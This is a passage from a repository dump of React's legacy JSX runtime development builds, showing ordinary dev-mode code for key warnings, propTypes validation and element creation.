getSourceInfoErrorAddendum(source) {\n  {\n    if (source !== undefined) {\n      var fileName = source.fileName.replace(/^.*[\\\\\\/]/, '');\n      var lineNumber = source.lineNumber;\n      return '\\n\\nCheck your code at ' + fileName + ':' + lineNumber + '.';\n    }\n\n    return '';\n  }\n}\n/**\n * Warn if there's no key explicitly set on dynamic arrays of children or\n * object keys are not valid. This allows us to keep track of children between\n * updates.\n */\n\n\nvar ownerHasKeyUseWarning = {};\n\nfunction getCurrentComponentErrorInfo(parentType) {\n  {\n    var info = getDeclarationErrorAddendum();\n\n    if (!info) {\n      var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;\n\n      if (parentName) {\n        info = \"\\n\\nCheck the top-level render call using <\" + parentName + \">.\";\n      }\n    }\n\n    return info;\n  }\n}\n/**\n * Warn if the element doesn't have an explicit key assigned to it.\n * This element is in an array. The array could grow and shrink or be\n * reordered. All children that haven't already been validated are required to\n * have a \"key\" property assigned to it. Error statuses are cached so a warning\n * will only be shown once.\n *\n * @internal\n * @param {ReactElement} element Element that requires a key.\n * @param {*} parentType element's parent's type.\n */\n\n\nfunction validateExplicitKey(element, parentType) {\n  {\n    if (!element._store || element._store.validated || element.key != null) {\n      return;\n    }\n\n    element._store.validated = true;\n    var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);\n\n    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {\n      return;\n    }\n\n    ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n\n    var childOwner = '';\n\n    if (element && element._owner && element._owner !== ReactCurrentOwner$1.current) {\n      // Give the component that originally created this child.\n      childOwner = \" It was passed a child from \" + getComponentName(element._owner.type) + \".\";\n    }\n\n    setCurrentlyValidatingElement$1(element);\n\n    error('Each child in a list should have a unique \"key\" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);\n\n    setCurrentlyValidatingElement$1(null);\n  }\n}\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\n\n\nfunction validateChildKeys(node, parentType) {\n  {\n    if (typeof node !== 'object') {\n      return;\n    }\n\n    if (Array.isArray(node)) {\n      for (var i = 0; i < node.length; i++) {\n        var child = node[i];\n\n        if (isValidElement(child)) {\n          validateExplicitKey(child, parentType);\n        }\n      }\n    } else if (isValidElement(node)) {\n      // This element was passed in a valid location.\n      if (node._store) {\n        node._store.validated = true;\n      }\n    } else if (node) {\n      var iteratorFn = getIteratorFn(node);\n\n      if (typeof iteratorFn === 'function') {\n        // Entry iterators used to provide implicit keys,\n        // but now we print a separate warning for them later.\n        if (iteratorFn !== node.entries) {\n          var iterator = iteratorFn.call(node);\n          var step;\n\n          while (!(step = iterator.next()).done) {\n            if (isValidElement(step.value)) {\n              validateExplicitKey(step.value, parentType);\n            }\n          }\n        }\n      }\n    }\n  }\n}\n/**\n * Given an element, validate that its props follow the propTypes definition,\n * provided by the type.\n *\n * @param {ReactElement} element\n */\n\n\nfunction validatePropTypes(element) {\n  {\n    var type = element.type;\n\n    if (type === null || type === undefined || typeof type === 'string') {\n      return;\n    }\n\n    var propTypes;\n\n    if (typeof type === 'function') {\n      propTypes = type.propTypes;\n    } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.\n    // Inner props are checked in the reconciler.\n    type.$$typeof === REACT_MEMO_TYPE)) {\n      propTypes = type.propTypes;\n    } else {\n      return;\n    }\n\n    if (propTypes) {\n      // Intentionally inside to avoid triggering lazy initializers:\n      var name = getComponentName(type);\n      checkPropTypes(propTypes, element.props, 'prop', name, element);\n    } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {\n      propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:\n\n      var _name = getComponentName(type);\n\n      error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');\n    }\n\n    if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {\n      error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');\n    }\n  }\n}\n/**\n * Given a fragment, validate that it can only be provided with fragment props\n * @param {ReactElement} fragment\n */\n\n\nfunction validateFragmentProps(fragment) {\n  {\n    var keys = Object.keys(fragment.props);\n\n    for (var i = 0; i < keys.length; i++) {\n      var key = keys[i];\n\n      if (key !== 'children' && key !== 'key') {\n        setCurrentlyValidatingElement$1(fragment);\n\n        error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);\n\n        setCurrentlyValidatingElement$1(null);\n        break;\n      }\n    }\n\n    if (fragment.ref !== null) {\n      setCurrentlyValidatingElement$1(fragment);\n\n      error('Invalid attribute `ref` supplied to `React.Fragment`.');\n\n      setCurrentlyValidatingElement$1(null);\n    }\n  }\n}\n\nfunction jsxWithValidation(type, props, key, isStaticChildren, source, self) {\n  {\n    var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to\n    // succeed and there will likely be errors in render.\n\n    if (!validType) {\n      var info = '';\n\n      if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {\n        info += ' You likely forgot to export your component from the file ' + \"it's defined in, or you might have mixed up default and named imports.\";\n      }\n\n      var sourceInfo = getSourceInfoErrorAddendum(source);\n\n      if (sourceInfo) {\n        info += sourceInfo;\n      } else {\n        info += getDeclarationErrorAddendum();\n      }\n\n      var typeString;\n\n      if (type === null) {\n        typeString = 'null';\n      } else if (Array.isArray(type)) {\n        typeString = 'array';\n      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {\n        typeString = \"<\" + (getComponentName(type.type) || 'Unknown') + \" />\";\n        info = ' Did you accidentally export a JSX literal instead of a component?';\n      } else {\n        typeString = typeof type;\n      }\n\n      error('React.jsx: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);\n    }\n\n    var element = jsxDEV(type, props, key, source, self); // The result can be nullish if a mock or a custom function is used.\n    // TODO: Drop this when these are no longer allowed as the type argument.\n\n    if (element == null) {\n      return element;\n    } // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing errors.\n    // We don't want exception behavior to differ between dev and prod.\n    // (Rendering will throw with a helpful message and as soon as the type is\n    // fixed, the key warnings will appear.)\n\n\n    if (validType) {\n      var children = props.children;\n\n      if (children !== undefined) {\n        if (isStaticChildren) {\n          if (Array.isArray(children)) {\n            for (var i = 0; i < children.length; i++) {\n              validateChildKeys(children[i], type);\n            }\n\n            if (Object.freeze) {\n              Object.freeze(children);\n            }\n          } else {\n            error('React.jsx: Static children should always be an array. ' + 'You are likely explicitly calling React.jsxs or React.jsxDEV. ' + 'Use the Babel transform instead.');\n          }\n        } else {\n          validateChildKeys(children, type);\n        }\n      }\n    }\n\n    if (type === exports.Fragment) {\n      validateFragmentProps(element);\n    } else {\n      validatePropTypes(element);\n    }\n\n    return element;\n  }\n} // These two functions exist to still get child warnings in dev\n\nvar jsxDEV$1 =  jsxWithValidation ;\n\nexports.jsxDEV = jsxDEV$1;\n  })();\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-16/cjs/react-jsx-runtime.development.js",
    "content": "/** @license React v16.14.0\n * react-jsx-runtime.development.js\n *\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  (function() {\n'use strict';\n\nvar React = require('react');\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n// The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n// nor polyfill, then a plain number is used for performance.\nvar REACT_ELEMENT_TYPE = 0xeac7;\nvar REACT_PORTAL_TYPE = 0xeaca;\nexports.Fragment = 0xeacb;\nvar REACT_STRICT_MODE_TYPE = 0xeacc;\nvar REACT_PROFILER_TYPE = 0xead2;\nvar REACT_PROVIDER_TYPE = 0xeacd;\nvar REACT_CONTEXT_TYPE = 0xeace;\nvar REACT_FORWARD_REF_TYPE = 0xead0;\nvar REACT_SUSPENSE_TYPE = 0xead1;\nvar REACT_SUSPENSE_LIST_TYPE = 0xead8;\nvar REACT_MEMO_TYPE = 0xead3;\nvar REACT_LAZY_TYPE = 0xead4;\nvar REACT_BLOCK_TYPE = 0xead9;\nvar REACT_SERVER_BLOCK_TYPE = 0xeada;\nvar REACT_FUNDAMENTAL_TYPE = 0xead5;\nvar REACT_SCOPE_TYPE = 0xead7;\nvar REACT_OPAQUE_ID_TYPE = 0xeae0;\nvar REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;\nvar REACT_OFFSCREEN_TYPE = 0xeae2;\nvar REACT_LEGACY_HIDDEN_TYPE = 0xeae3;\n\nif (typeof Symbol === 'function' && Symbol.for) {\n  var symbolFor = Symbol.for;\n  REACT_ELEMENT_TYPE = symbolFor('react.element');\n  REACT_PORTAL_TYPE = symbolFor('react.portal');\n  exports.Fragment = symbolFor('react.fragment');\n  REACT_STRICT_MODE_TYPE = symbolFor('react.strict_mode');\n  REACT_PROFILER_TYPE = symbolFor('react.profiler');\n  REACT_PROVIDER_TYPE = symbolFor('react.provider');\n  REACT_CONTEXT_TYPE = symbolFor('react.context');\n  REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');\n  REACT_SUSPENSE_TYPE = symbolFor('react.suspense');\n  REACT_SUSPENSE_LIST_TYPE = symbolFor('react.suspense_list');\n  REACT_MEMO_TYPE = symbolFor('react.memo');\n  REACT_LAZY_TYPE = symbolFor('react.lazy');\n  REACT_BLOCK_TYPE = symbolFor('react.block');\n  REACT_SERVER_BLOCK_TYPE = symbolFor('react.server.block');\n  REACT_FUNDAMENTAL_TYPE = symbolFor('react.fundamental');\n  REACT_SCOPE_TYPE = symbolFor('react.scope');\n  REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');\n  REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');\n  REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');\n  REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');\n}\n\nvar MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator';\nfunction getIteratorFn(maybeIterable) {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n\n  var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];\n\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n\n  return null;\n}\n\nvar ReactSharedInternals = React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;\n\nfunction error(format) {\n  {\n    for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n      args[_key2 - 1] = arguments[_key2];\n    }\n\n    printWarning('error', format, args);\n  }\n}\n\nfunction printWarning(level, format, args) {\n  // When changing this logic, you might want to also\n  // update consoleWithStackDev.www.js as well.\n  {\n    var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\n    var stack = '';\n\n    if (currentlyValidatingElement) {\n      var name = getComponentName(currentlyValidatingElement.type);\n      var owner = currentlyValidatingElement._owner;\n      stack += describeComponentFrame(name, currentlyValidatingElement._source, owner && getComponentName(owner.type));\n    }\n\n    stack += ReactDebugCurrentFrame.getStackAddendum();\n\n    if (stack !== '') {\n      format += '%s';\n      args = args.concat([stack]);\n    }\n\n    var argsWithFormat = args.map(function (item) {\n      return '' + item;\n    }); // Careful: RN currently depends on this prefix\n\n    argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it\n    // breaks IE9: https://github.com/facebook/react/issues/13610\n    // eslint-disable-next-line react-internal/no-production-logging\n\n    Function.prototype.apply.call(console[level], console, argsWithFormat);\n  }\n}\n\n// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.\n\nvar enableScopeAPI = false; // Experimental Create Event Handle API.\n\nfunction isValidElementType(type) {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n\n\n  if (type === exports.Fragment || type === REACT_PROFILER_TYPE || type === REACT_DEBUG_TRACING_MODE_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || type === REACT_LEGACY_HIDDEN_TYPE || enableScopeAPI ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_BLOCK_TYPE || type[0] === REACT_SERVER_BLOCK_TYPE) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\n\nvar BEFORE_SLASH_RE = /^(.*)[\\\\\\/]/;\nfunction describeComponentFrame (name, source, ownerName) {\n  var sourceInfo = '';\n\n  if (source) {\n    var path = source.fileName;\n    var fileName = path.replace(BEFORE_SLASH_RE, '');\n\n    {\n      // In DEV, include code for a common special case:\n      // prefer \"folder/index.js\" instead of just \"index.js\".\n      if (/^index\\./.test(fileName)) {\n        var match = path.match(BEFORE_SLASH_RE);\n\n        if (match) {\n          var pathBeforeSlash = match[1];\n\n          if (pathBeforeSlash) {\n            var folderName = pathBeforeSlash.replace(BEFORE_SLASH_RE, '');\n            fileName = folderName + '/' + fileName;\n          }\n        }\n      }\n    }\n\n    sourceInfo = ' (at ' + fileName + ':' + source.lineNumber + ')';\n  } else if (ownerName) {\n    sourceInfo = ' (created by ' + ownerName + ')';\n  }\n\n  return '\\n    in ' + (name || 'Unknown') + sourceInfo;\n}\n\nvar Resolved = 1;\nfunction refineResolvedLazyComponent(lazyComponent) {\n  return lazyComponent._status === Resolved ? lazyComponent._result : null;\n}\n\nfunction getWrappedName(outerType, innerType, wrapperName) {\n  var functionName = innerType.displayName || innerType.name || '';\n  return outerType.displayName || (functionName !== '' ? wrapperName + \"(\" + functionName + \")\" : wrapperName);\n}\n\nfunction getComponentName(type) {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n\n  {\n    if (typeof type.tag === 'number') {\n      error('Received an unexpected object in getComponentName(). ' + 'This is likely a bug in React. Please file an issue.');\n    }\n  }\n\n  if (typeof type === 'function') {\n    return type.displayName || type.name || null;\n  }\n\n  if (typeof type === 'string') {\n    return type;\n  }\n\n  switch (type) {\n    case exports.Fragment:\n      return 'Fragment';\n\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n\n    case REACT_PROFILER_TYPE:\n      return \"Profiler\";\n\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_CONTEXT_TYPE:\n        return 'Context.Consumer';\n\n      case REACT_PROVIDER_TYPE:\n        return 'Context.Provider';\n\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n\n      case REACT_MEMO_TYPE:\n        return getComponentName(type.type);\n\n      case REACT_BLOCK_TYPE:\n        return getComponentName(type.render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var thenable = type;\n          var resolvedThenable = refineResolvedLazyComponent(thenable);\n\n          if (resolvedThenable) {\n            return getComponentName(resolvedThenable);\n          }\n\n          break;\n        }\n    }\n  }\n\n  return null;\n}\n\nvar loggedTypeFailures = {};\nvar ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\nvar currentlyValidatingElement = null;\n\nfunction setCurrentlyValidatingElement(element) {\n  {\n    currentlyValidatingElement = element;\n  }\n}\n\nfunction checkPropTypes(typeSpecs, values, location, componentName, element) {\n  {\n    // $FlowFixMe This is okay but Flow doesn't know it.\n    var has = Function.call.bind(Object.prototype.hasOwnProperty);\n\n    for (var typeSpecName in typeSpecs) {\n      if (has(typeSpecs, typeSpecName)) {\n        var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n\n          error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');\n        } catch (ex) {\n          error$1 = ex;\n        }\n\n        if (error$1 && !(error$1 instanceof Error)) {\n          setCurrentlyValidatingElement(element);\n\n          error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);\n\n          setCurrentlyValidatingElement(null);\n        }\n\n        if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error$1.message] = true;\n          setCurrentlyValidatingElement(element);\n\n          error('Failed %s type: %s', location, error$1.message);\n\n          setCurrentlyValidatingElement(null);\n        }\n      }\n    }\n  }\n}\n\nvar ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\nvar specialPropKeyWarningShown;\nvar specialPropRefWarningShown;\nvar didWarnAboutStringRefs;\n\n{\n  didWarnAboutStringRefs = {};\n}\n\nfunction hasValidRef(config) {\n  {\n    if (hasOwnProperty.call(config, 'ref')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.ref !== undefined;\n}\n\nfunction hasValidKey(config) {\n  {\n    if (hasOwnProperty.call(config, 'key')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'key').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.key !== undefined;\n}\n\nfunction warnIfStringRefCannotBeAutoConverted(config, self) {\n  {\n    if (typeof config.ref === 'string' && ReactCurrentOwner.current && self && ReactCurrentOwner.current.stateNode !== self) {\n      var componentName = getComponentName(ReactCurrentOwner.current.type);\n\n      if (!didWarnAboutStringRefs[componentName]) {\n        error('Component \"%s\" contains the string ref \"%s\". ' + 'Support for string refs will be removed in a future major release. ' + 'This case cannot be automatically converted to an arrow function. ' + 'We ask you to manually fix this case by using useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', getComponentName(ReactCurrentOwner.current.type), config.ref);\n\n        didWarnAboutStringRefs[componentName] = true;\n      }\n    }\n  }\n}\n\nfunction defineKeyPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingKey = function () {\n      if (!specialPropKeyWarningShown) {\n        specialPropKeyWarningShown = true;\n\n        error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingKey.isReactWarning = true;\n    Object.defineProperty(props, 'key', {\n      get: warnAboutAccessingKey,\n      configurable: true\n    });\n  }\n}\n\nfunction defineRefPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingRef = function () {\n      if (!specialPropRefWarningShown) {\n        specialPropRefWarningShown = true;\n\n        error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingRef.isReactWarning = true;\n    Object.defineProperty(props, 'ref', {\n      get: warnAboutAccessingRef,\n      configurable: true\n    });\n  }\n}\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, instanceof check\n * will not work. Instead test $$typeof field against Symbol.for('react.element') to check\n * if something is a React Element.\n *\n * @param {*} type\n * @param {*} props\n * @param {*} key\n * @param {string|object} ref\n * @param {*} owner\n * @param {*} self A *temporary* helper to detect places where `this` is\n * different from the `owner` when React.createElement is called, so that we\n * can warn. We want to get rid of owner and replace string `ref`s with arrow\n * functions, and as long as `this` and owner are the same, there will be no\n * change in behavior.\n * @param {*} source An annotation object (added by a transpiler or otherwise)\n * indicating filename, line number, and/or other information.\n * @internal\n */\n\n\nvar ReactElement = function (type, key, ref, self, source, owner, props) {\n  var element = {\n    // This tag allows us to uniquely identify this as a React Element\n    $$typeof: REACT_ELEMENT_TYPE,\n    // Built-in properties that belong on the element\n    type: type,\n    key: key,\n    ref: ref,\n    props: props,\n    // Record the component responsible for creating this element.\n    _owner: owner\n  };\n\n  {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {}; // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: false\n    }); // self and source are DEV only properties.\n\n    Object.defineProperty(element, '_self', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: self\n    }); // Two elements created in two different places should be considered\n    // equal for testing purposes and therefore we hide it from enumeration.\n\n    Object.defineProperty(element, '_source', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: source\n    });\n\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n};\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\n\nfunction jsxDEV(type, config, maybeKey, source, self) {\n  {\n    var propName; // Reserved names are extracted\n\n    var props = {};\n    var key = null;\n    var ref = null; // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n\n    if (maybeKey !== undefined) {\n      key = '' + maybeKey;\n    }\n\n    if (hasValidKey(config)) {\n      key = '' + config.key;\n    }\n\n    if (hasValidRef(config)) {\n      ref = config.ref;\n      warnIfStringRefCannotBeAutoConverted(config, self);\n    } // Remaining properties are added to a new props object\n\n\n    for (propName in config) {\n      if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    } // Resolve default props\n\n\n    if (type && type.defaultProps) {\n      var defaultProps = type.defaultProps;\n\n      for (propName in defaultProps) {\n        if (props[propName] === undefined) {\n          props[propName] = defaultProps[propName];\n        }\n      }\n    }\n\n    if (key || ref) {\n      var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;\n\n      if (key) {\n        defineKeyPropWarningGetter(props, displayName);\n      }\n\n      if (ref) {\n        defineRefPropWarningGetter(props, displayName);\n      }\n    }\n\n    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n  }\n}\n\nvar ReactCurrentOwner$1 = ReactSharedInternals.ReactCurrentOwner;\nvar ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;\n\nfunction setCurrentlyValidatingElement$1(element) {\n  currentlyValidatingElement = element;\n}\n\nvar propTypesMisspellWarningShown;\n\n{\n  propTypesMisspellWarningShown = false;\n}\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\n\nfunction isValidElement(object) {\n  {\n    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n  }\n}\n\nfunction getDeclarationErrorAddendum() {\n  {\n    if (ReactCurrentOwner$1.current) {\n      var name = getComponentName(ReactCurrentOwner$1.current.type);\n\n      if (name) {\n        return '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n\n    return '';\n  }\n}\n\nfunction getSourceInfoErrorAddendum(source) {\n  {\n    if (source !== undefined) {\n      var fileName = source.fileName.replace(/^.*[\\\\\\/]/, '');\n      var lineNumber = source.lineNumber;\n      return '\\n\\nCheck your code at ' + fileName + ':' + lineNumber + '.';\n    }\n\n    return '';\n  }\n}\n/**\n * Warn if there's no key explicitly set on dynamic arrays of children or\n * object keys are not valid. This allows us to keep track of children between\n * updates.\n */\n\n\nvar ownerHasKeyUseWarning = {};\n\nfunction getCurrentComponentErrorInfo(parentType) {\n  {\n    var info = getDeclarationErrorAddendum();\n\n    if (!info) {\n      var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;\n\n      if (parentName) {\n        info = \"\\n\\nCheck the top-level render call using <\" + parentName + \">.\";\n      }\n    }\n\n    return info;\n  }\n}\n/**\n * Warn if the element doesn't have an explicit key assigned to it.\n * This element is in an array. The array could grow and shrink or be\n * reordered. All children that haven't already been validated are required to\n * have a \"key\" property assigned to it. Error statuses are cached so a warning\n * will only be shown once.\n *\n * @internal\n * @param {ReactElement} element Element that requires a key.\n * @param {*} parentType element's parent's type.\n */\n\n\nfunction validateExplicitKey(element, parentType) {\n  {\n    if (!element._store || element._store.validated || element.key != null) {\n      return;\n    }\n\n    element._store.validated = true;\n    var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);\n\n    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {\n      return;\n    }\n\n    ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n\n    var childOwner = '';\n\n    if (element && element._owner && element._owner !== ReactCurrentOwner$1.current) {\n      // Give the component that originally created this child.\n      childOwner = \" It was passed a child from \" + getComponentName(element._owner.type) + \".\";\n    }\n\n    setCurrentlyValidatingElement$1(element);\n\n    error('Each child in a list should have a unique \"key\" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);\n\n    setCurrentlyValidatingElement$1(null);\n  }\n}\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\n\n\nfunction validateChildKeys(node, parentType) {\n  {\n    if (typeof node !== 'object') {\n      return;\n    }\n\n    if (Array.isArray(node)) {\n      for (var i = 0; i < node.length; i++) {\n        var child = node[i];\n\n        if (isValidElement(child)) {\n          validateExplicitKey(child, parentType);\n        }\n      }\n    } else if (isValidElement(node)) {\n      // This element was passed in a valid location.\n      if (node._store) {\n        node._store.validated = true;\n      }\n    } else if (node) {\n      var iteratorFn = getIteratorFn(node);\n\n      if (typeof iteratorFn === 'function') {\n        // Entry iterators used to provide implicit keys,\n        // but now we print a separate warning for them later.\n        if (iteratorFn !== node.entries) {\n          var iterator = iteratorFn.call(node);\n          var step;\n\n          while (!(step = iterator.next()).done) {\n            if (isValidElement(step.value)) {\n              validateExplicitKey(step.value, parentType);\n            }\n          }\n        }\n      }\n    }\n  }\n}\n/**\n * Given an element, validate that its props follow the propTypes definition,\n * provided by the type.\n *\n * @param {ReactElement} element\n */\n\n\nfunction validatePropTypes(element) {\n  {\n    var type = element.type;\n\n    if (type === null || type === undefined || typeof type === 'string') {\n      return;\n    }\n\n    var propTypes;\n\n    if (typeof type === 'function') {\n      propTypes = type.propTypes;\n    } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.\n    // Inner props are checked in the reconciler.\n    type.$$typeof === REACT_MEMO_TYPE)) {\n      propTypes = type.propTypes;\n    } else {\n      return;\n    }\n\n    if (propTypes) {\n      // Intentionally inside to avoid triggering lazy initializers:\n      var name = getComponentName(type);\n      checkPropTypes(propTypes, element.props, 'prop', name, element);\n    } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {\n      propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:\n\n      var _name = getComponentName(type);\n\n      error('Component %s declared `PropTypes` instead of `propTypes`. 